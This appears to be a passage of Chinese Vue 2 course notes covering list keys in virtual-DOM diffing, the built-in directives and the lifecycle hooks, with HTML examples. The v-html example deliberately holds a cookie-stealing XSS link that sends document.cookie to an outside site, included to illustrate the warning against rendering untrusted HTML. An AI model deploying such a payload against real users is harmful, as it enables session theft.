②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
(2).旧虚拟DOM中未找到与新虚拟DOM相同的key创建新的真实DOM,随后渲染到到页面。
3. 用index作为key可能会引发的问题:
1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
2. 如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==> 界面有问题。
4. 开发中如何选择key?:
1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示用index作为key是没有问题的。
使用index的图解
1. 初始数据和虚拟 DOM
-
初始数据:包含多个对象的数组,每个对象都有
id
、name
和age
属性。 -
虚拟 DOM 生成:Vue 根据初始数据先生成虚拟 DOM(Vnodes),每个列表项的
key
是其在数组中的索引。
2. 新数据和虚拟 DOM
-
新数据:新数据中插入了一个新元素(
老刘
) -
新虚拟 DOM 生成:Vue 根据新数据生成新的虚拟 DOM,每个列表项的
key
仍然是其在数组中的索引。
3. 新数据渲染
新数据和虚拟 DOM:
新数据中插入了一个新对象(老刘
),并删除了旧数据中的一个对象(王五
)。
新虚拟 DOM 中,老刘
的 key
是 0,而旧数据中的 张三
的 key
变成了 1,李四
的 key
变成了 2,王五
的 key
变成了 3。
虚拟 DOM 对比:
Vue 会将新虚拟 DOM 和旧虚拟 DOM 进行对比。
由于 key
是索引,Vue 认为索引相同的位置可以复用 DOM 元素。
例如,新虚拟 DOM 中 老刘
的 key
是 0,旧虚拟 DOM 中 张三
的 key
也是 0,那么会继续比较比较后面的数据。先比较第一部分,发现老刘和张三 不一样 然后老刘就会新渲染成DOM。然后比较第二个部分input拦。发现input的虚拟的DOM是一样的,那么就会复用真实的DOM里面的input拦,所以带有张三的input拦被复用在了老刘后面。之后的数据就以此类推,所以出现input错位。
使用id的图解
这个和上面的思路是一样的,但是因为这里的key是正确的,所以可以被正确渲染和复用
内置指令
之前提及过的指令 总结一下:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
v-text
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
3.不支持结构的解析
实例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>'
}
})
</script>
</html>
v-html
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
v-cloak
v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
实例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{
display:none;
}
</style>
<!-- 引入Vue -->
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
</html>
v-once
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
v-pre
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
生命周期
引出生命周期
生命周期:
1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
4.生命周期函数中的this指向是vm 或 组件实例对象。
需求:
我现在想要实现一个文字,我要他周而复始地,从不透明逐渐变到透明,然后又变回不透明再到透明。
代码实现:
将定时器挂载到mounted钩子上
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-if="a">你好啊</h2>
<h2 :style="{opacity}">欢迎学习Vue</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
a:false,
opacity:1
},
methods: {
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted(){
console.log('mounted',this)
setInterval(() => {
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
})
</script>
</html>
完整的生命周期
1. 初始化阶段
-
new Vue()
:-
创建一个新的 Vue 实例。
-
初始化生命周期、事件和数据代理。
-
-
beforeCreate
:-
在这个阶段,Vue 实例已经创建,但数据代理和事件还没有开始。
-
此时无法通过
vm
访问data
中的数据或methods
中的方法。
-
-
created
:-
数据监测和数据代理开始。
-
此时可以通过
vm
访问data
中的数据和methods
中的方法。 -
适合进行数据初始化和异步数据请求。
-
2. 挂载阶段
-
模板编译:
-
如果有
template
选项,Vue 会编译模板生成渲染函数。 -
如果没有
template
,Vue 会使用el
的outerHTML
作为模板。 -
如果使用构建步骤(如单文件组件),模板编译是在构建时提前完成的。
-
-
beforeMount
:-
页面显示的是未经 Vue 编译的 DOM 结构。
-
对 DOM 的操作不会生效。
-
-
虚拟 DOM:
-
在挂载阶段,虚拟 DOM 被转换为真实 DOM 并插入页面。
-
-
mounted
:-
页面显示的是经过 Vue 编译的 DOM。
-
对 DOM 的操作生效。
-
适合进行 DOM 操作、绑定事件、发送网络请求等初始化操作。
-
3. 更新阶段
-
数据变化:
-
当数据发生变化时,Vue 会触发更新。
-
-
beforeUpdate
:-
数据是新的,但页面是旧的。
-
页面尚未与数据保持同步。
-
-
虚拟 DOM 重新渲染和 patch:
-
根据新数据,生成新的虚拟 DOM。
-
随后与旧的虚拟 DOM 进行比较,最终完成页面更新,即完成了 Model -> View 的更新。
-
-
updated
:-
数据是新的,页面也是新的。
-
页面和数据保持同步。
-
适合在 DOM 更新后执行操作。
-
4. 销毁阶段
-
beforeDestroy
:-
Vue 实例的所有功能(
data
、methods
等)仍可用。 -
马上要执行销毁过程。
-
适合进行清理操作,如关闭定时器、取消订阅、解绑事件等。
-
-
destroyed
:-
Vue 实例被销毁,所有绑定和事件监听器被移除。
-
实例不再可用。
-